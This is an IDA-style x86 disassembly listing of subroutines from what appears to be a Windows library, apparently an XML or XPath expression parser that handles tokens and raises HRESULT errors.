push [ebp+arg_14]
mov ecx, edi
mov [ebp+var_10], ebx
mov [ebp+var_C], bl
call dword ptr [eax+40h]
mov esi, eax
cmp esi, ebx
jz short loc_69B62C7A
mov eax, [esi]
mov ecx, esi
call dword ptr [eax+44h]
mov [ebp+arg_4], eax
jmp short loc_69B62C8C
; ---------------------------------------------------------------------------
loc_69B62C7A: ; CODE XREF: sub_69B62C49+23j
push ebx
push ebx
push dword ptr [edi+1Ch]
mov ecx, edi
push ebx
push 0C00CE604h
call sub_69B61C54
loc_69B62C8C: ; CODE XREF: sub_69B62C49+2Fj
cmp [ebp+arg_4], ebx
jz short loc_69B62C9E
xor eax, eax
mov al, [edi+0Ch]
push eax
push ebx
push [ebp+arg_4]
push ebx
jmp short loc_69B62CB6
; ---------------------------------------------------------------------------
loc_69B62C9E: ; CODE XREF: sub_69B62C49+46j
cmp [ebp+arg_14], ebx
jz short loc_69B62CAD
push [ebp+arg_8]
mov ecx, edi
call sub_69B6240B
loc_69B62CAD: ; CODE XREF: sub_69B62C49+58j
xor eax, eax
mov al, [edi+0Ch]
push eax
push ebx
push ebx
push esi
loc_69B62CB6: ; CODE XREF: sub_69B62C49+53j
call sub_69B6B53D
mov esi, eax
add eax, 8
neg esi
sbb esi, esi
push 29h
mov ecx, edi
and esi, eax
call sub_69B5EB78
mov eax, [edi]
mov ecx, edi
call dword ptr [eax+44h]
lea ecx, [ebp+var_10]
call sub_69B466CC
pop edi
mov eax, esi
pop esi
pop ebx
leave
retn 20h
sub_69B62C49 endp
; =============== S U B R O U T I N E =======================================
sub_69B62CE7 proc near ; DATA XREF: .text:69B6148Co
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_14 = dword ptr 18h
cmp [esp+arg_14], 0
push esi
mov esi, [esp+4+arg_4]
push edi
jz short loc_69B62CFF
push [esp+8+arg_8]
mov ecx, esi
call sub_69B6240B
loc_69B62CFF: ; CODE XREF: sub_69B62CE7+Bj
xor eax, eax
mov al, [esi+0Ch]
push eax
push 0FFFFFFFFh
call sub_69B6B83C
push 29h
mov ecx, esi
mov edi, eax
call sub_69B5EB78
mov eax, [esi]
mov ecx, esi
call dword ptr [eax+44h]
mov eax, edi
add edi, 8
neg eax
sbb eax, eax
and eax, edi
pop edi
pop esi
retn 20h
sub_69B62CE7 endp
; =============== S U B R O U T I N E =======================================
sub_69B62D2E proc near ; CODE XREF: sub_69B62D2E+3Ep
; sub_69B62D8D+66p ...
push esi
push edi
mov esi, ecx
call sub_69B5EA61
mov ecx, esi
call sub_69B62631
mov edi, eax
mov eax, [esi+20h]
cmp eax, 0FFFFFFF5h
jz short loc_69B62D63
cmp eax, 0FFFFFFC0h
jz short loc_69B62D63
cmp eax, 0FFFFFFFCh
jnz short loc_69B62D85
cmp dword ptr [esi+2Ch], 0
jnz short loc_69B62D85
mov eax, [esi+30h]
cmp eax, dword_69B9B2C0
jnz short loc_69B62D85
loc_69B62D63: ; CODE XREF: sub_69B62D2E+18j
; sub_69B62D2E+1Dj
mov eax, [esi]
mov ecx, esi
call dword ptr [eax+44h]
mov ecx, esi
call sub_69B62D2E
push eax
push edi
call sub_69B69FA2
mov ecx, eax
add eax, 8
neg ecx
sbb ecx, ecx
and ecx, eax
mov edi, ecx
loc_69B62D85: ; CODE XREF: sub_69B62D2E+22j
; sub_69B62D2E+28j ...
dec dword ptr [esi+48h]
mov eax, edi
pop edi
pop esi
retn
sub_69B62D2E endp
; =============== S U B R O U T I N E =======================================
sub_69B62D8D proc near ; CODE XREF: sub_69B6229B+62p
; sub_69B6229B+CCp ...
var_10 = qword ptr -10h
arg_0 = dword ptr 4
push esi
push edi
mov esi, ecx
call sub_69B5EA61
mov eax, [esi+20h]
cmp eax, 0FFFFFFFAh
jz short loc_69B62E0F
cmp eax, 0FFFFFFFBh
jz short loc_69B62E05
cmp eax, 28h
mov ecx, esi
jz short loc_69B62DEC
cmp eax, 2Dh
mov eax, [esi]
jz short loc_69B62DBE
push [esp+8+arg_0]
push 0
call dword ptr [eax+40h]
mov edi, eax
jmp short loc_69B62E32
; ---------------------------------------------------------------------------
loc_69B62DBE: ; CODE XREF: sub_69B62D8D+22j
call dword ptr [eax+44h]
push 0FFFFFFFAh
mov ecx, esi
call sub_69B5EB78
fld qword ptr [esi+40h]
push ecx
push ecx
fmul ds:dbl_69B296B0
fstp [esp+10h+var_10]
push 0
push dword ptr [esi+24h]
push offset off_69B62E40
call sub_69B2F2CA
add esp, 0Ch
jmp short loc_69B62E1A
; ---------------------------------------------------------------------------
loc_69B62DEC: ; CODE XREF: sub_69B62D8D+1Bj
mov eax, [esi]
call dword ptr [eax+44h]
mov ecx, esi
call sub_69B62D2E
push 29h
mov ecx, esi
mov edi, eax
call sub_69B5EB78
jmp short loc_69B62E2B
; ---------------------------------------------------------------------------
loc_69B62E05: ; CODE XREF: sub_69B62D8D+14j
push dword ptr [esi+24h]
call sub_69B65631
jmp short loc_69B62E20
; ---------------------------------------------------------------------------
loc_69B62E0F: ; CODE XREF: sub_69B62D8D+Fj
fld qword ptr [esi+40h]
mov eax, [esi+24h]
push ecx
push ecx ; double
fstp [esp+10h+var_10]
loc_69B62E1A: ; CODE XREF: sub_69B62D8D+5Dj
push eax ; int
call sub_69B6564F
loc_69B62E20: ; CODE XREF: sub_69B62D8D+80j
mov edi, eax
add eax, 8
neg edi
sbb edi, edi
and edi, eax
loc_69B62E2B: ; CODE XREF: sub_69B62D8D+76j
mov eax, [esi]
mov ecx, esi
call dword ptr [eax+44h]
loc_69B62E32: ; CODE XREF: sub_69B62D8D+2Fj
dec dword ptr [esi+48h]
mov eax, edi
pop edi
pop esi
retn 4
sub_69B62D8D endp
; ---------------------------------------------------------------------------
align 10h
off_69B62E40 dd offset off_69B17D10 ; DATA XREF: sub_69B62D8D+50o
align 8
dd 1
dd offset dword_69B62E50
dword_69B62E50 dd 2Dh
; =============== S U B R O U T I N E =======================================
sub_69B62E54 proc near ; CODE XREF: sub_69B63788+9Cp
push esi
mov esi, ecx
jmp short loc_69B62E5E
; ---------------------------------------------------------------------------
loc_69B62E59: ; CODE XREF: sub_69B62E54+1Aj
call sub_69B5EA78
loc_69B62E5E: ; CODE XREF: sub_69B62E54+3j
xor eax, eax
mov ax, [esi+0Eh]
push eax
call sub_69B31914
test eax, eax
mov ecx, esi
jnz short loc_69B62E59
cmp word ptr [esi+0Eh], 24h
jnz short loc_69B62EA6
push edi
call sub_69B5EA78
mov ecx, [esi+1Ch]
mov eax, [esi+18h]
sub eax, ecx
dec eax
dec eax
sar eax, 1
push eax
push ecx
call sub_69B190C1
push eax
lea edi, [esi+24h]
push edi
call sub_69B17320
push dword ptr [edi]
mov ecx, esi
call sub_69B61C88
pop edi
pop esi
retn
; ---------------------------------------------------------------------------
loc_69B62EA6: ; CODE XREF: sub_69B62E54+21j
push 24h
call sub_69B629F7
pop esi
retn
sub_69B62E54 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B62EAF proc near ; CODE XREF: sub_69B5F881+149p
; sub_69B63788+22Ep
var_4 = dword ptr -4
push ebp
mov ebp, esp
push ecx
push ebx
push esi
xor ebx, ebx
push ebx ; int
mov esi, ecx
lea eax, [ebp+var_4]
push eax ; int
lea eax, [esi+38h]
push eax ; pvar
push 0FFFFFFFFh ; int
push 0FFFFFFFFh ; int
push 1Eh ; int
push ebx ; cElements
push dword ptr [esi+1Ch] ; strIn
mov [ebp+var_4], ebx
call sub_69B30856
test eax, eax
jge short loc_69B62F02
mov eax, [ebp+var_4]
cmp eax, [esi+1Ch]
mov ecx, esi
jbe short loc_69B62EEB
push 0FFFFFFFAh
call sub_69B629F7
jmp short loc_69B62F02
; ---------------------------------------------------------------------------
loc_69B62EEB: ; CODE XREF: sub_69B62EAF+31j
call sub_69B5EA78
push ebx
push ebx
push dword ptr [esi+1Ch]
mov ecx, esi
push ebx
push 0C00CE386h
call sub_69B61C54
loc_69B62F02: ; CODE XREF: sub_69B62EAF+27j
; sub_69B62EAF+3Aj
mov eax, [ebp+var_4]
cmp eax, ebx
jz short loc_69B62F32
mov ecx, [esi+1Ch]
sub eax, ecx
sar eax, 1
push eax
push ecx
mov dword ptr [esi+20h], 0FFFFFFFAh
call sub_69B190C1
push eax
lea eax, [esi+24h]
push eax
call sub_69B17320
push [ebp+var_4]
mov ecx, esi
call sub_69B5EB96
loc_69B62F32: ; CODE XREF: sub_69B62EAF+58j
pop esi
pop ebx
leave
retn
sub_69B62EAF endp
; =============== S U B R O U T I N E =======================================
sub_69B62F36 proc near ; CODE XREF: sub_69B5F12B+B5p
; sub_69B5F3B7+13p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
push esi
mov esi, ecx
mov ecx, [esp+4+arg_8]
test ecx, ecx
jz short loc_69B62F4A
mov eax, [ecx]
call dword ptr [eax+5Ch]
mov ecx, eax
jmp short loc_69B62F4C
; ---------------------------------------------------------------------------
loc_69B62F4A: ; CODE XREF: sub_69B62F36+9j
xor ecx, ecx
loc_69B62F4C: ; CODE XREF: sub_69B62F36+12j
xor eax, eax
test ecx, ecx
jz short loc_69B62F5A
mov eax, [ecx]
call dword ptr [eax+4Ch]
and eax, 2
loc_69B62F5A: ; CODE XREF: sub_69B62F36+1Aj
push [esp+4+arg_C]
mov ecx, esi
push eax
push [esp+0Ch+arg_4]
push [esp+10h+arg_0]
call sub_69B6296C
pop esi
retn 10h
sub_69B62F36 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B62F72 proc near ; DATA XREF: .text:69B12B68o
var_8 = dword ptr -8
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
push edi
push dwTlsIndex
mov esi, ecx
call dword_69B92970
push [ebp+arg_4]
mov edi, eax
mov eax, [edi+1Ch]
mov [ebp+var_8], eax
lea eax, [esi+34h]
push eax
mov dword ptr [edi+1Ch], 2
call sub_69B17320
xor ebx, ebx
push ebx
push [ebp+arg_0]
mov ecx, esi
mov [esi+48h], ebx
call sub_69B5EBA5
test eax, eax
jz short loc_69B62FE2
mov eax, [esi+1Ch]
push ebx
mov [ebp+arg_0], eax
mov eax, [esi]
push ebx
mov ecx, esi
call dword ptr [eax+40h]
push ebx
mov ecx, esi
mov [ebp+arg_4], eax
call sub_69B5EB78
push ebx
push ebx
push [ebp+arg_0]
mov ecx, esi
push [ebp+arg_4]
call sub_69B62F36
jmp short loc_69B62FEC
; ---------------------------------------------------------------------------
loc_69B62FE2: ; CODE XREF: sub_69B62F72+43j
push 80070057h
call sub_69B2E8B8
loc_69B62FEC: ; CODE XREF: sub_69B62F72+6Ej
mov eax, [ebp+var_8]
mov [edi+1Ch], eax
mov eax, [ebp+arg_4]
pop edi
pop esi
pop ebx
leave
retn 10h
sub_69B62F72 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B62FFC proc near ; CODE XREF: sub_69B639EB+4Fp
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push ebx
push esi
mov esi, ecx
mov eax, [esi+20h]
cmp eax, 2Bh
push edi
mov byte ptr [ebp+var_4], 0
jz short loc_69B6301A
cmp eax, 2Dh
jnz short loc_69B63021
mov byte ptr [ebp+var_4], 1
loc_69B6301A: ; CODE XREF: sub_69B62FFC+13j
mov eax, [esi]
mov ecx, esi
call dword ptr [eax+44h]
loc_69B63021: ; CODE XREF: sub_69B62FFC+18j
mov eax, [esi]
mov ebx, [esi+1Ch]
push 0
push 0
mov ecx, esi
call dword ptr [eax+40h]
push 0
push 0
mov edi, eax
push ebx
push edi
mov ecx, esi
call sub_69B62F36
mov esi, eax
mov eax, [edi]
mov ecx, edi
call dword ptr [eax+3Ch]
push eax
push [ebp+var_4]
push esi
mov esi, [ebp+arg_0]
mov ecx, esi
call sub_69B6BFF8
mov eax, esi
add esi, 10h
neg eax
sbb eax, eax
pop edi
and eax, esi
pop esi
pop ebx
leave
retn 4
sub_69B62FFC endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B63068 proc near ; CODE XREF: sub_69B63114+52p
var_14 = dword ptr -14h
var_10 = byte ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_C = byte ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
push ebp
mov ebp, esp
sub esp, 14h
mov eax, [ebp+arg_0]
push esi
xor esi, esi
cmp eax, esi
push edi
mov edi, [ebp+arg_10]
mov [ebp+var_4], esi
mov [ebp+var_14], esi
mov [ebp+var_10], 0
jz short loc_69B63104
cmp [ebp+arg_C], 0
mov eax, [eax+4]
mov [ebp+arg_10], eax
jz short loc_69B63101
mov esi, [ebp+arg_4]
mov eax, [esi+20h]
cmp eax, 29h
jz short loc_69B630F1
push ebx
mov ebx, [ebp+arg_14]
sub ebx, edi
loc_69B630A3: ; CODE XREF: sub_69B63068+86j
test eax, eax
jz short loc_69B630F0
mov eax, [ebp+arg_10]
cmp [ebp+var_4], eax
mov ecx, esi
jge short loc_69B630E1
mov eax, [esi+1Ch]
push 0
mov [ebx+edi], eax
call sub_69B62D8D
mov [edi], eax
add edi, 4
test eax, eax
jz short loc_69B630CA
inc [ebp+var_4]
loc_69B630CA: ; CODE XREF: sub_69B63068+5Dj
mov eax, [esi+20h]
cmp eax, 2Ch
jnz short loc_69B630DB
mov eax, [esi]
mov ecx, esi
call dword ptr [eax+44h]
jmp short loc_69B630E8
; ---------------------------------------------------------------------------
loc_69B630DB: ; CODE XREF: sub_69B63068+68j
test eax, eax
jnz short loc_69B630E8
mov ecx, esi
loc_69B630E1: ; CODE XREF: sub_69B63068+47j
push 29h
call sub_69B629F7
loc_69B630E8: ; CODE XREF: sub_69B63068+71j
; sub_69B63068+75j
mov eax, [esi+20h]
cmp eax, 29h
jnz short loc_69B630A3
loc_69B630F0: ; CODE XREF: sub_69B63068+3Dj
pop ebx
loc_69B630F1: ; CODE XREF: sub_69B63068+33j
push 29h
mov ecx, esi
call sub_69B5EB78
mov eax, [esi]
mov ecx, esi
call dword ptr [eax+44h]
loc_69B63101: ; CODE XREF: sub_69B63068+28j
mov esi, [ebp+var_4]
loc_69B63104: ; CODE XREF: sub_69B63068+1Cj
lea ecx, [ebp+var_14]
call sub_69B466CC
pop edi
mov eax, esi
pop esi
leave
retn 1Ch
sub_69B63068 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B63114 proc near ; DATA XREF: .text:69B614ECo
; .text:69B6151Co ...
var_54 = dword ptr -54h
var_34 = dword ptr -34h
var_14 = dword ptr -14h
var_10 = byte ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = byte ptr 20h
arg_1C = dword ptr 24h
push ebp
mov ebp, esp
sub esp, 54h
push ebx
xor ebx, ebx
cmp [ebp+arg_18], bl
push esi
push edi
mov edi, [ebp+arg_4]
mov [ebp+var_4], ebx
mov [ebp+var_14], ebx
mov [ebp+var_10], bl
jz short loc_69B63142
push ebx
push ebx
push [ebp+arg_8]
mov ecx, edi
push ebx
push 0C00CE389h
call sub_69B61C54
loc_69B63142: ; CODE XREF: sub_69B63114+1Aj
cmp byte ptr [ebp+arg_10], bl
mov esi, [ebp+arg_C]
jz short loc_69B6316E
push 8
lea eax, [ebp+var_54]
push eax
lea eax, [ebp+var_34]
push eax
push [ebp+arg_10]
mov [esi], ebx
push [ebp+arg_8]
mov [esi+4], ebx
push edi
push [ebp+arg_0]
mov [esi+8], ebx
call sub_69B63068
mov [ebp+var_4], eax
loc_69B6316E: ; CODE XREF: sub_69B63114+34j
cmp [esi+8], ebx
jnz short loc_69B631B2
cmp [ebp+var_4], ebx
jz short loc_69B631B2
mov ecx, [ebp+var_34]
mov eax, [ecx]
lea edx, [ebp+var_14]
push edx
push ebx
push ebx
push ebx
call dword ptr [eax+54h]
cmp [ebp+var_14], 5
jz short loc_69B6319F
push ebx
push ebx
push [ebp+var_54]
mov ecx, edi
push ebx
push 0C00CE388h
call sub_69B61C54
loc_69B6319F: ; CODE XREF: sub_69B63114+77j
mov eax, [ebp+var_C]
push edi
push dword ptr [edi+34h]
push esi
push dword ptr [eax+8]
push dword ptr [eax+0Ch]
call sub_69B6282D
loc_69B631B2: ; CODE XREF: sub_69B63114+5Dj
; sub_69B63114+62j
xor eax, eax
mov al, [edi+0Ch]
push ebx
push eax
mov eax, [ebp+arg_0]
push dword ptr [eax+28h]
push [ebp+arg_1C]
push dword ptr [esi+8]
push dword ptr [esi+4]
push dword ptr [esi]
push [ebp+arg_14]
call sub_69B685B5
lea ecx, [ebp+var_14]
mov esi, eax
call sub_69B466CC
mov eax, esi
add esi, 8
neg eax
sbb eax, eax
pop edi
and eax, esi
pop esi
pop ebx
leave
retn 20h
sub_69B63114 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B631EE proc near ; DATA XREF: .text:69B6166Co
; .text:69B6169Co ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_14 = dword ptr 1Ch
arg_18 = byte ptr 20h
push ebp
mov ebp, esp
mov eax, [ebp+arg_0]
mov eax, [eax+8]
cmp eax, 10h
push ebx
push esi
mov esi, [ebp+arg_4]
push edi
jz short loc_69B6327E
cmp eax, 1010h
jnz short loc_69B6320F
cmp dword ptr [esi+20h], 29h
jnz short loc_69B6327E
loc_69B6320F: ; CODE XREF: sub_69B631EE+19j
xor edi, edi
cmp eax, 2
jnz short loc_69B63268
mov eax, [esi+1Ch]
push edi
mov [ebp+arg_14], eax
mov eax, [esi]
push edi
mov ecx, esi
call dword ptr [eax+40h]
cmp eax, edi
mov [ebp+arg_4], eax
mov ebx, 0C00CE388h
jnz short loc_69B6323F
push edi
push edi
push [ebp+arg_14]
mov ecx, esi
push edi
push ebx
call sub_69B61C54
loc_69B6323F: ; CODE XREF: sub_69B631EE+41j
mov ecx, [ebp+arg_4]
mov eax, [ecx]
push 5
call dword ptr [eax+40h]
mov edx, [eax]
mov ecx, eax
mov [ebp+arg_4], eax
call dword ptr [edx+3Ch]
cmp eax, 5
jz short loc_69B63299
push edi
push edi
push [ebp+arg_14]
mov ecx, esi
push edi
push ebx
call sub_69B61C54
jmp short loc_69B63299
; ---------------------------------------------------------------------------
loc_69B63268: ; CODE XREF: sub_69B631EE+26j
mov ecx, [ebp+arg_14]
cmp ecx, edi
jz short loc_69B63279
mov eax, [ecx]
call dword ptr [eax+5Ch]
mov [ebp+arg_4], eax
jmp short loc_69B63299
; ---------------------------------------------------------------------------
loc_69B63279: ; CODE XREF: sub_69B631EE+7Fj
mov [ebp+arg_4], edi
jmp short loc_69B63299
; ---------------------------------------------------------------------------
loc_69B6327E: ; CODE XREF: sub_69B631EE+12j
; sub_69B631EE+1Fj
mov eax, [esi]
xor edi, edi
push edi
push edi
mov ecx, esi
call dword ptr [eax+40h]
push edi
push edi
push [ebp+arg_8]
mov ecx, esi
push eax
mov [ebp+arg_4], eax
call sub_69B62F36
loc_69B63299: ; CODE XREF: sub_69B631EE+68j
; sub_69B631EE+78j ...
mov eax, [ebp+arg_0]
push dword ptr [eax+28h]
mov al, [ebp+arg_18]
neg al
sbb eax, eax
and eax, [ebp+arg_4]
push eax
call sub_69B6C788
push 29h
mov ecx, esi
mov edi, eax
call sub_69B5EB78
mov eax, [esi]
mov ecx, esi
call dword ptr [eax+44h]
mov eax, edi
add edi, 8
neg eax
sbb eax, eax
and eax, edi
pop edi
pop esi
pop ebx
pop ebp
retn 20h
sub_69B631EE endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B632D3 proc near ; DATA XREF: .text:69B618ACo
; .text:69B618DCo ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ebx
push esi
mov esi, [ebp+arg_4]
mov ebx, [esi+1Ch]
push edi
xor edi, edi
push edi
mov ecx, esi
mov [ebp+arg_8], ebx
call sub_69B62D8D
cmp eax, edi
mov [ebp+arg_4], eax
jnz short loc_69B63303
push edi
push edi
push ebx
push edi
push 0C00CE38Dh
mov ecx, esi
call sub_69B61C54
loc_69B63303: ; CODE XREF: sub_69B632D3+1Ej
mov ebx, [ebp+arg_0]
mov ecx, [ebp+arg_4]
push dword ptr [ebx+28h]
mov eax, [ecx]
call dword ptr [eax+40h]
mov edx, [eax]
mov ecx, eax
mov [ebp+arg_4], eax
call dword ptr [edx+3Ch]
cmp eax, [ebx+28h]
jz short loc_69B63332
push edi
push edi
push [ebp+arg_8]
mov ecx, esi
push edi
push 0C00CE38Ah
call sub_69B61C54
loc_69B63332: ; CODE XREF: sub_69B632D3+4Bj
push 29h
mov ecx, esi
call sub_69B5EB78
mov eax, [esi]
mov ecx, esi
call dword ptr [eax+44h]
mov eax, [ebp+arg_4]
pop edi
pop esi
pop ebx
pop ebp
retn 20h
sub_69B632D3 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B6334C proc near ; DATA XREF: .text:69B614BCo
var_10 = dword ptr -10h
var_C = byte ptr -0Ch
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_14 = dword ptr 1Ch
push ebp
mov ebp, esp
sub esp, 10h
push ebx
push esi
push edi
mov edi, [ebp+arg_4]
mov eax, [edi]
xor ebx, ebx
push ebx
push ebx
mov ecx, edi
mov [ebp+var_10], ebx
mov [ebp+var_C], bl
call dword ptr [eax+40h]
push ebx
push ebx
push [ebp+arg_8]
mov ecx, edi
push eax
call sub_69B62F36
push 1
xor ecx, ecx
mov cl, [edi+0Ch]
push ebx
push ebx
push ecx
push eax
push [ebp+arg_14]
call sub_69B68C7E
push ebx
push [ebp+arg_14]
mov esi, eax
push [ebp+arg_8]
add eax, 8
neg esi
sbb esi, esi
and esi, eax
push esi
mov ecx, edi
call sub_69B62F36
push 29h
mov ecx, edi
call sub_69B5EB78
mov eax, [edi]
mov ecx, edi
call dword ptr [eax+44h]
lea ecx, [ebp+var_10]
call sub_69B466CC
pop edi
mov eax, esi
pop esi
pop ebx
leave
retn 20h
sub_69B6334C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B633C4 proc near ; DATA XREF: .text:69B613FCo
var_10 = dword ptr -10h
var_C = byte ptr -0Ch
var_8 = qword ptr -8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 10h
push ebx
push esi
mov esi, [ebp+arg_4]
mov eax, [esi+20h]
xor ebx, ebx
cmp eax, 0FFFFFFFAh
push edi
mov [ebp+var_10], ebx
mov [ebp+var_C], bl
jz short loc_69B633FC
cmp eax, 2Dh
jz short loc_69B633FC
cmp eax, 29h
jnz short loc_69B63440
fld ds:dbl_69B296B0
mov [ebp+var_10], 3
fstp [ebp+var_8]
jmp short loc_69B63440
; ---------------------------------------------------------------------------
loc_69B633FC: ; CODE XREF: sub_69B633C4+1Aj
; sub_69B633C4+1Fj
push ebx
mov ecx, esi
call sub_69B62D8D
mov edx, [eax]
push 3
mov ecx, eax
call dword ptr [edx+40h]
mov edi, eax
mov eax, [edi]
mov ecx, edi
call dword ptr [eax+3Ch]
cmp eax, 3
jz short loc_69B6342D
push ebx
push ebx
push [ebp+arg_8]
mov ecx, esi
push ebx
push 0C00CE38Ah
call sub_69B61C54
loc_69B6342D: ; CODE XREF: sub_69B633C4+55j
lea ecx, [ebp+var_10]
fldz
push ecx
fstp [ebp+var_8]
mov eax, [edi]
push ebx
push ebx
push ebx
mov ecx, edi
call dword ptr [eax+54h]
loc_69B63440: ; CODE XREF: sub_69B633C4+24j
; sub_69B633C4+36j
lea ecx, [ebp+var_10]
call sub_69B61F10
test al, al
jnz short loc_69B6345E
push ebx
push ebx
push [ebp+arg_8]
mov ecx, esi
push ebx
push 0C00CE38Eh
call sub_69B61C54
loc_69B6345E: ; CODE XREF: sub_69B633C4+86j
fld [ebp+var_8]
xor eax, eax
mov al, [esi+0Ch]
push eax
call sub_69B1A82C
push eax
call sub_69B6B83C
push 29h
mov ecx, esi
mov edi, eax
call sub_69B5EB78
mov eax, [esi]
mov ecx, esi
call dword ptr [eax+44h]
lea ecx, [ebp+var_10]
call sub_69B466CC
mov eax, edi
add edi, 8
neg eax
sbb eax, eax
and eax, edi
pop edi
pop esi
pop ebx
leave
retn 20h
sub_69B633C4 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B6349E proc near ; CODE XREF: sub_69B63A6B+1Cp
var_18 = dword ptr -18h
var_14 = byte ptr -14h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 18h
push ebx
push esi
mov esi, ecx
mov eax, [esi+1Ch]
push edi
xor ebx, ebx
xor edi, edi
mov [ebp+var_4], eax
call sub_69B5EA61
mov eax, [esi+20h]
cmp eax, 28h
jg loc_69B6358B
jz short loc_69B6353B
cmp eax, 0FFFFFFFAh
jl loc_69B6359E
cmp eax, 0FFFFFFFBh
jle short loc_69B6352C
cmp eax, 0FFFFFFFCh
jz short loc_69B6351D
cmp eax, 0FFFFFFFEh
jz short loc_69B634EB
cmp eax, ebx
jnz loc_69B6359E
jmp loc_69B63762
; ---------------------------------------------------------------------------
loc_69B634EB: ; CODE XREF: sub_69B6349E+3Ej
push 1
xor eax, eax
mov al, [esi+0Ch]
push ebx
push ebx
push eax
push ebx
push [ebp+arg_0]
call sub_69B68C7E
push ebx
push [ebp+arg_0]
mov edi, eax
push [ebp+var_4]
add eax, 8
neg edi
sbb edi, edi
and edi, eax
push edi
mov ecx, esi
call sub_69B62F36
jmp loc_69B63661
; ---------------------------------------------------------------------------
loc_69B6351D: ; CODE XREF: sub_69B6349E+39j
push [ebp+arg_8]
push [ebp+arg_4]
push ebx
push [ebp+arg_0]
jmp loc_69B63759
; ---------------------------------------------------------------------------
loc_69B6352C: ; CODE XREF: sub_69B6349E+34j
push [ebp+arg_8]
mov ecx, esi
call sub_69B62D8D
jmp loc_69B63760
; ---------------------------------------------------------------------------
loc_69B6353B: ; CODE XREF: sub_69B6349E+26j
mov eax, [esi]
mov ecx, esi
call dword ptr [eax+44h]
mov eax, [esi]
push ebx
push ebx
mov ecx, esi
call dword ptr [eax+40h]
push ebx
push [ebp+arg_0]
mov edi, eax
push [ebp+var_4]
mov ecx, esi
push edi
call sub_69B62F36
cmp edi, ebx
jz short loc_69B6357D
xor ecx, ecx
mov cl, [esi+0Ch]
push ecx
push [ebp+arg_8]
push eax
push [ebp+arg_0]
call sub_69B667B7
mov edi, eax
add eax, 8
neg edi
sbb edi, edi
and edi, eax
loc_69B6357D: ; CODE XREF: sub_69B6349E+C0j
push 29h
mov ecx, esi
call sub_69B5EB78
jmp loc_69B63661
; ---------------------------------------------------------------------------
loc_69B6358B: ; CODE XREF: sub_69B6349E+20j
cmp eax, 2Ah
jz loc_69B63640
cmp eax, 2Eh
jz short loc_69B6360C
cmp eax, 40h
jz short loc_69B635AB
loc_69B6359E: ; CODE XREF: sub_69B6349E+2Bj
; sub_69B6349E+42j
push ebx
mov ecx, esi
call sub_69B62438
jmp loc_69B63762
; ---------------------------------------------------------------------------
loc_69B635AB: ; CODE XREF: sub_69B6349E+FEj
lea eax, [esi+30h]
push ebx
push eax
call sub_69B17320
lea eax, [esi+30h]
lea ecx, [esi+2Ch]
push eax
call sub_69B4D414
push eax
lea ecx, [esi+28h]
call sub_69B4D414
mov eax, [esi]
mov ecx, esi
call dword ptr [eax+44h]
mov eax, [esi+1Ch]
mov [ebp+var_4], eax
mov eax, [esi+20h]
cmp eax, 0FFFFFFFCh
jz short loc_69B635F2
cmp eax, 2Ah
jz short loc_69B635F2
push 0FFFFFFFCh
mov ecx, esi
call sub_69B629F7
jmp loc_69B63762
; ---------------------------------------------------------------------------
loc_69B635F2: ; CODE XREF: sub_69B6349E+13Fj
; sub_69B6349E+144j
mov eax, [esi+30h]
mov edi, [esi+2Ch]
mov ecx, [esi+28h]
xor edx, edx
mov dl, [esi+0Ch]
push ebx
push edx
push 0Fh
push [ebp+arg_8]
push eax
push edi
push ecx
jmp short loc_69B6364E
; ---------------------------------------------------------------------------
loc_69B6360C: ; CODE XREF: sub_69B6349E+F9j
mov eax, [esi]
mov ecx, esi
call dword ptr [eax+44h]
mov ecx, [ebp+arg_0]
cmp ecx, ebx
jz short loc_69B63624
mov eax, [ecx]
call dword ptr [eax+5Ch]
jmp loc_69B63760
; ---------------------------------------------------------------------------
loc_69B63624: ; CODE XREF: sub_69B6349E+17Aj
xor eax, eax
mov al, [esi+0Ch]
push eax
push ebx
call sub_69B67D20
mov edi, eax
add eax, 8
neg edi
sbb edi, edi
and edi, eax
jmp loc_69B63762
; ---------------------------------------------------------------------------
loc_69B63640: ; CODE XREF: sub_69B6349E+F0j
xor eax, eax
mov al, [esi+0Ch]
push ebx
push eax
push ebx
push [ebp+arg_8]
push ebx
push ebx
push ebx
loc_69B6364E: ; CODE XREF: sub_69B6349E+16Cj
push [ebp+arg_0]
call sub_69B685B5
mov edi, eax
add eax, 8
neg edi
sbb edi, edi
and edi, eax
loc_69B63661: ; CODE XREF: sub_69B6349E+7Aj
; sub_69B6349E+E8j
mov eax, [esi]
mov ecx, esi
call dword ptr [eax+44h]
jmp loc_69B63762
; ---------------------------------------------------------------------------
